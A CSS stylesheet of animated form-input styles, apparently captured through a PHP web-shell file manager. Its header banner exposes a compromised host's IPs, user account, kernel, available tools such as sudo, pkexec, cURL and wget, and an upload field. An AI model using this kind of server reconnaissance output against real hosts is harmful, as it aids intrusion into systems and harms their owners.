| Server IP : 162.241.24.140 / Your IP : 216.73.217.120 Web Server : Apache System : Linux box5876.bluehost.com 5.14.0-687.12.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Jun 7 14:39:27 EDT 2026 x86_64 User : ahfcompk ( 3063) PHP Version : 8.2.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home2/ahfcompk/public_html/css/ |
Upload File : |
.input__field {
position: relative;
display: block;
width: 60%;
border: none;
border-radius: 0;
background: #f0f0f0;
color: #aaa;
-webkit-appearance: none; /* for box shadows to show on iOS */
}
.input__field:focus {
outline: none;
}
.input__label {
display: inline-block;
width: 40%;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
/* Hoshi */
.input--hoshi {
overflow: hidden;
}
.input__field--hoshi {
width: 100%;
background: transparent;
color: #595F6E;
}
.input__label--hoshi {
position: absolute;
bottom: 0;
left: 0;
width: 100%;
height: calc(100% - 1px);
text-align: left;
pointer-events: none;
}
.input__label-content--hoshi {
position: absolute;
}
.input__label--hoshi::before,
.input__label--hoshi::after {
content: '';
position: absolute;
top: 0;
left: -1px;
width: 100%;
height:100%;
border-bottom: 2px solid #8d8d8d;
}
.input__label--hoshi::after {
margin-top: 0;
border-bottom: 2px solid #8d8d8d;
-webkit-transform: translate3d(-100%, 0, 0);
transform: translate3d(-100%, 0, 0);
-webkit-transition: -webkit-transform 0.3s;
transition: transform 0.3s;
}
.input__label--hoshi-color-1::after {
border-color: #fff;
}
.input__label--hoshi-color-2::after {
border-color: #262520;
}
.input__label--hoshi-color-3::after {
border-color:#262520;
}
.input__field--hoshi:focus + .input__label--hoshi::after,
.input--filled .input__label--hoshi::after {
-webkit-transform: translate3d(0, 0, 0);
transform: translate3d(0, 0, 0);
}
.input__field--hoshi:focus + .input__label--hoshi .input__label-content--hoshi,
.input--filled .input__label-content--hoshi {
-webkit-animation: anim-1 0.3s forwards;
animation: anim-1 0.3s forwards;
}
@-webkit-keyframes anim-1 {
50% {
opacity: 0;
-webkit-transform: translate3d(1em, 0, 0);
transform: translate3d(1em, 0, 0);
}
51% {
opacity: 0;
-webkit-transform: translate3d(-1em, -40%, 0);
transform: translate3d(-1em, -40%, 0);
}
100% {
opacity: 1;
-webkit-transform: translate3d(0, -40%, 0);
transform: translate3d(0, -40%, 0);
}
}
@keyframes anim-1 {
50% {
opacity: 0;
-webkit-transform: translate3d(1em, 0, 0);
transform: translate3d(1em, 0, 0);
}
51% {
opacity: 0;
-webkit-transform: translate3d(-1em, -40%, 0);
transform: translate3d(-1em, -40%, 0);
}
100% {
opacity: 1;
-webkit-transform: translate3d(0, -40%, 0);
transform: translate3d(0, -40%, 0);
}
}